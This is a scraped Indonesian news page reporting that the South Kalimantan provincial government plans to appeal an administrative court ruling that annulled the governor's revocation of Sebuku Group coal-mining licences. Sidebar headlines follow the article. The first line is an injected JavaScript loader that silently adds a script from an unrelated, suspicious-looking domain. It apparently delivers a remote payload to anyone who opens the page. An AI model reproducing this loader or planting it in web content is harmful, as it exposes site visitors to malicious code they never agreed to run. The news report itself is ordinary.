(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kalah di Kandang, Pemprov Kalsel Pastikan Banding ke PT TUN Jakarta


BANJARMASIN, Putusan majelis hakim PTUN Banjarmasin yang mengabulkan gugatan Sebuku Group serta membatalkan tiga surat keputusan (SK) Gubernur Kalsel atas pencabutan izin usaha pertambangan operasi produksi (IUP-OP) dipastikan akan kembali diuji ke Pengadilan Tinggi Tata Usaha Negara (PT TUN) Jakarta.

Pemprov Kalsel selaku pihak tergugat akan segera mengajukan banding ke PT TUN Jakarta atas putusan tiga majelis hakim PTUN Banjarmasin yang mengabulkan seluruh gugatan tiga perusahaan tambang milik  Silo Group, Kamis (7/6).

Usai tiga majelis hakim PTUN Banjarmasin memutuskan bahwa SK Gubernur Sahbirin Noor atas pencabutan IUP-OP Sebuku Group tidak sah dan dibatalkan,  langkah banding harus diambil Pemprov Kalsel. “Jujur saja, kami kecewa atas putusan majelis hakim PTUN Banjarmasin yang mengabulkan seluruh gugatan Sebuku Group ini,” kata Sekdaprov Kalsel Abdul Haris Makkie dalam jumpa pers di Jalan Gatot Subroto, Banjarmasin.

Menurut Haris Makkie, majelis hakim PTUN Banjarmasin terkesan mengabaikan fakta-fakta hukum dan keterangan saksi ahli yang dihadirkan pihaknya dalam persidangan. “Putusan PTUN Banjarmasin bukan putusan akhir, masih ada upaya perlawanan hukum banding ke PT TUN (Pengadilan Tinggi Tata Usaha Negara) di Jakarta,” tegasnya.

Sebelumnya, seusai putusan sidang Andi M Asrun selaku kuasa hukum Gubernur Kalimantan Selatan juga menyatakan akan melakukan banding ke PT TUN atas putusan ketiga majelis hakim. Menurutnya, hakim hanya  mengikuti bukti dan fakta hukum dari pihak penggugat (kubu Yusril Ihza Mahendra) dan mengabaikan fakta dan bukti yang pihaknya sampaikan.

“Kita sangat kecewa dan akan banding. Majelis hakim mengambil alih pendapat penggugat dalam membenarkan putusan. Logika yang digunakan ngawur dan tidak tepat,” jelas Asrun dengan nada kecewa.

Putusan sidang yang mengabulkan gugatan PT Silo Group disampaikan tiga ketua majelis hakim PTUN Banjarmasin, yakni untuk perkara Nomor 4/G/2018/PTUN.BJM,  gugatan PT Sebuku Sejaka Coal adalah Luthfie Ardhian. Lalu, perkara bernomor 5/G/2018/PTUN.BJM , gugatan PT Sebuku Tanjung Coal dengan hakim ketua Retno Widowati. Serta, perkara nomor 6/G/2018/PTUN.BJM  gugatan PT Sebuku Batubai yang dipimpin hakim ketua Dafrian.(ammar)

Reporter:Ammar
EditorCell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

3 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

5 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

5 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

5 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

5 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

6 jam ago

This website uses cookies.